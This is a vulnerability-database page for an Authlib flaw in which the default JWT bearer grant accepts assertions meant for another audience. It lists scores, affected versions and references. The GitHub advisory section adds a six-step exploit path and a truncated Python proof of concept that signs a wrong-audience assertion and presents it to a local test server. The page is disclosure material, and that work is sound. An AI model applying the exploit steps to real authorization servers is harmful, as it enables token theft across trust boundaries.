CVE-2026-114618
Authlib: Default JWT bearer grant accepts assertions for the wrong audience
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.8
Authlib: Default JWT bearer grant accepts assertions for the wrong audience
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.
- Record
CVE-2026-114618- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-1188
- Updated
- 2026-11-02
EUVDEUVD-2026-108520
6.8
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.
- Record
EUVD-2026-108520- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-fch4-3c6x-j4gc
6.8
Authlib: Default JWT bearer grant accepts assertions for the wrong audience
Description
Summary
Authlib's default RFC 7523 JWT bearer grant leaves get_audiences() empty, so verify_claims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.
To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.
Affected Entrypoints
authlib.oauth2.rfc7523.JWTBearerGrant— defaultget_audiences()returns empty listauthlib.jose.jwt.decode()withclaims_optionsfor audience validationauthlib.integrations.flask_oauth2.ResourceProtector.validate_request()when audience checking is enabled
Exploit Path
1. Attacker authenticates to Service A (low-privilege)
2. Authorization server issues JWT with "aud": "https://evil.test/token"
3. Attacker presents this assertion to Service B's token endpoint
4. Service B uses default JWTBearerGrant (get_audiences() = [])
5. verify_claims() only checks aud *exists*, not its value
6. Service B issues an access token — audience bypass achieved
Proof of Concept
#!/usr/bin/env python3
"""
Demonstrates that the default JWTBearerGrant accepts JWT assertions
whose audience does not match the token endpoint, while a strict
audience override correctly rejects them.
"""
import json
import os
import sys
from joserfc.jwk import KeySet, OctKey
WRONG_AUDIENCE = "https://evil.test/token"
EXPECTED_AUDIENCE = "https://provider.test/token"
GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"
def build_and_exercise(strict_audience: bool) -> tuple[int, dict]:
from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant
# Uses Authlib's own Flask test fixtures
from tests.flask.test_oauth2.models import Client, User, db
from tests.flask.test_oauth2.oauth2_server import (
create_authorization_server, create_flask_app,
)
class JWTBearerGrant(BaseJWTBearerGrant):
def resolve_issuer_client(self, issuer):
return Client.query.filter_by(client_id=issuer).first()
def resolve_client_public_key(self, client):
return KeySet([
OctKey.import_key("foo", {"kid": "1"}),
OctKey.import_key("bar", {"kid": "2"}),
])
def authenticate_user(self, subject):
return None
def has_granted_permission(self, client, user):
return True
# Only override get_audiences when testing strict mode
if strict_audience:
def get_audiences(self):
return [EXPECTED_AUDIENCE]
app = create_flask_app()
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
with app.app_context():
db.init_app(app)
db.create_all()
user = User(username="demo-user")
db.session.add(user)
db.session.commit()
client = Client(
user_id=user.id,
client_id="client-id",
client_secret="client-secret",
)
client.set_client_metadata({
"scope": "profile",
"redirect_uris": ["https://client.test/authorized"],
"grant_types": [GRANT_TYPE],
})
db.session.add(client)
db.session.commit()
server = create_authorization_server(app)
server.register_grant(JWTBearerGrant)
# Sign assertion with WRONG audience
assertion = JWTBearerGrant.sign(
"foo",
issuer="client-id",
audience=WRONG_AUDIENCE, # <-- Not the expected audience
subject=None,
header={"alg": "HS256", "kid": "1"},
)
rv = app.test_client().post(
"/oauth/token",
…
- Record
GHSA-fch4-3c6x-j4gc- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-1188
- Updated
- 2026-11-02
NVD
6.8
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.
- Record
CVE-2026-114618- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-287, CWE-1188
- Updated
- 2026-11-02
OSV
6.8
Authlib: Default JWT bearer grant accepts assertions for the wrong audience
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.
- Record
CVE-2026-114618- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-1188, CWE-287
- Updated
- 2026-11-03
OSVDEBIAN-CVE-2026-114618
6.8
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.
- Record
DEBIAN-CVE-2026-114618- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Show 4 moreShow less
OSVGHSA-fch4-3c6x-j4gc
6.8
Authlib: Default JWT bearer grant accepts assertions for the wrong audience
Description
Summary
Authlib's default RFC 7523 JWT bearer grant leaves get_audiences() empty, so verify_claims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.
To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.
Affected Entrypoints
authlib.oauth2.rfc7523.JWTBearerGrant— defaultget_audiences()returns empty listauthlib.jose.jwt.decode()withclaims_optionsfor audience validationauthlib.integrations.flask_oauth2.ResourceProtector.validate_request()when audience checking is enabled
Exploit Path
1. Attacker authenticates to Service A (low-privilege)
2. Authorization server issues JWT with "aud": "https://evil.test/token"
3. Attacker presents this assertion to Service B's token endpoint
4. Service B uses default JWTBearerGrant (get_audiences() = [])
5. verify_claims() only checks aud *exists*, not its value
6. Service B issues an access token — audience bypass achieved
Proof of Concept
#!/usr/bin/env python3
"""
Demonstrates that the default JWTBearerGrant accepts JWT assertions
whose audience does not match the token endpoint, while a strict
audience override correctly rejects them.
"""
import json
import os
import sys
from joserfc.jwk import KeySet, OctKey
WRONG_AUDIENCE = "https://evil.test/token"
EXPECTED_AUDIENCE = "https://provider.test/token"
GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"
def build_and_exercise(strict_audience: bool) -> tuple[int, dict]:
from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant
# Uses Authlib's own Flask test fixtures
from tests.flask.test_oauth2.models import Client, User, db
from tests.flask.test_oauth2.oauth2_server import (
create_authorization_server, create_flask_app,
)
class JWTBearerGrant(BaseJWTBearerGrant):
def resolve_issuer_client(self, issuer):
return Client.query.filter_by(client_id=issuer).first()
def resolve_client_public_key(self, client):
return KeySet([
OctKey.import_key("foo", {"kid": "1"}),
OctKey.import_key("bar", {"kid": "2"}),
])
def authenticate_user(self, subject):
return None
def has_granted_permission(self, client, user):
return True
# Only override get_audiences when testing strict mode
if strict_audience:
def get_audiences(self):
return [EXPECTED_AUDIENCE]
app = create_flask_app()
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
with app.app_context():
db.init_app(app)
db.create_all()
user = User(username="demo-user")
db.session.add(user)
db.session.commit()
client = Client(
user_id=user.id,
client_id="client-id",
client_secret="client-secret",
)
client.set_client_metadata({
"scope": "profile",
"redirect_uris": ["https://client.test/authorized"],
"grant_types": [GRANT_TYPE],
})
db.session.add(client)
db.session.commit()
server = create_authorization_server(app)
server.register_grant(JWTBearerGrant)
# Sign assertion with WRONG audience
assertion = JWTBearerGrant.sign(
"foo",
issuer="client-id",
audience=WRONG_AUDIENCE, # <-- Not the expected audience
subject=None,
header={"alg": "HS256", "kid": "1"},
)
rv = app.test_client().post(
"/oauth/token",
…
- Record
GHSA-fch4-3c6x-j4gc- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-1188, CWE-287
- Updated
- 2026-11-02
OSVPYSEC-2026-4358
6.8
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.
- Record
PYSEC-2026-4358- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-114618
6.8
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.
- Record
UBUNTU-CVE-2026-114618- CVSS 3.1
- 6.8 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12390-1 No score
python313-Authlib-1.9.1-1.1 on GA media
These are all security issues fixed in the python313-Authlib-1.9.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12390-1- Updated
- 2026-11-03
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
authlibPyPI |
before 1.9.0 | 1.9.0 |
python-authlibDebian:12 |
All versions, plus listed versions 1.2.0-11.2.0-1+deb12u11.2.0-1+deb12u21.2.1-11.3.0-1 Show 23 moreShow less1.3.0-21.3.0-31.3.1-11.3.2-11.3.2-21.4.0-11.4.1-11.5.0-11.5.1-11.5.2-11.6.0-11.6.1-11.6.3-11.6.4-11.6.5-11.6.6-11.6.7-11.6.8-11.6.9-11.7.0-11.7.2-11.7.2-21.9.1-1 |
None known |
python-authlibDebian:13 |
All versions, plus listed versions 1.6.0-11.6.0-1+deb13u11.6.1-11.6.3-11.6.4-1 Show 9 moreShow less1.6.5-11.6.6-11.6.7-11.6.8-11.6.9-11.7.0-11.7.2-11.7.2-21.9.1-1 |
None known |
python-authlibDebian:14 |
before 1.9.1-1, plus listed versions 1.6.0-11.6.1-11.6.3-11.6.4-11.6.5-1 Show 7 moreShow less1.6.6-11.6.7-11.6.8-11.6.9-11.7.0-11.7.2-11.7.2-2 |
1.9.1-1 |
authlibPyPI |
before 1.9.0, plus listed versions 0.10.100.110.120.12.1 Show 45 moreShow less0.130.140.14.10.14.20.14.30.150.15.10.15.20.15.30.15.40.15.50.15.60.1rc00.20.2.10.30.40.4.10.50.5.10.60.70.80.91.0.01.0.0a11.0.0a21.0.0b11.0.0b21.0.0rc11.0.11.1.01.2.01.2.11.3.01.3.11.3.21.4.01.4.11.5.01.5.11.5.21.6.01.6.11.6.10 |
1.9.0 |
python-authlibUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 0.15.4-10.15.5-10.15.5-1ubuntu0.1~esm10.15.5-1ubuntu0.1~esm2 |
None known |
python-authlibUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 1.2.1-11.3.0-11.3.0-1ubuntu0.1~esm11.3.0-1ubuntu0.1~esm2 |
None known |
python-authlibUbuntu:26.10 |
All versions, plus listed versions 1.6.7-11.7.2-11.7.2-2 |
None known |
python-authlibUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 1.6.0-11.6.5-11.6.6-11.6.7-11.6.7-1ubuntu0.1~esm1 |
None known |
python-AuthlibopenSUSE:Tumbleweed From an advisory covering 10 CVEs |
before 1.9.1-1.1 | 1.9.1-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, aliases, facts, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-114618 is a medium vulnerability (CVSS 6.8) in Authlib, published October 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.35%, the 28th percentile. Fixed in authlib 1.9.0.
References
github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc
github.com/authlib/authlib/pull/945
github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf
github.com/authlib/authlib/releases/tag/v1.9.0
nvd.nist.gov/vuln/detail/CVE-2026-114618
github.com/advisories/GHSA-fch4-3c6x-j4gc
Show 15 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2026/114xxx/CVE-2026-114618.json
security-tracker.debian.org/tracker/CVE-2026-114618
github.com/authlib/authlib
ubuntu.com/security/CVE-2026-114618
cve.org/CVERecord?id=CVE-2026-114618
suse.com/security/cve/CVE-2025-62706
suse.com/security/cve/CVE-2026-114614
suse.com/security/cve/CVE-2026-114615
suse.com/security/cve/CVE-2026-114616
suse.com/security/cve/CVE-2026-114617
suse.com/security/cve/CVE-2026-114618
suse.com/security/cve/CVE-2026-114619
suse.com/security/cve/CVE-2026-116672
suse.com/security/cve/CVE-2026-41425
suse.com/security/cve/CVE-2026-96760
Left out here: 14 versions and the rest of 2 source descriptions. The JSON record has them.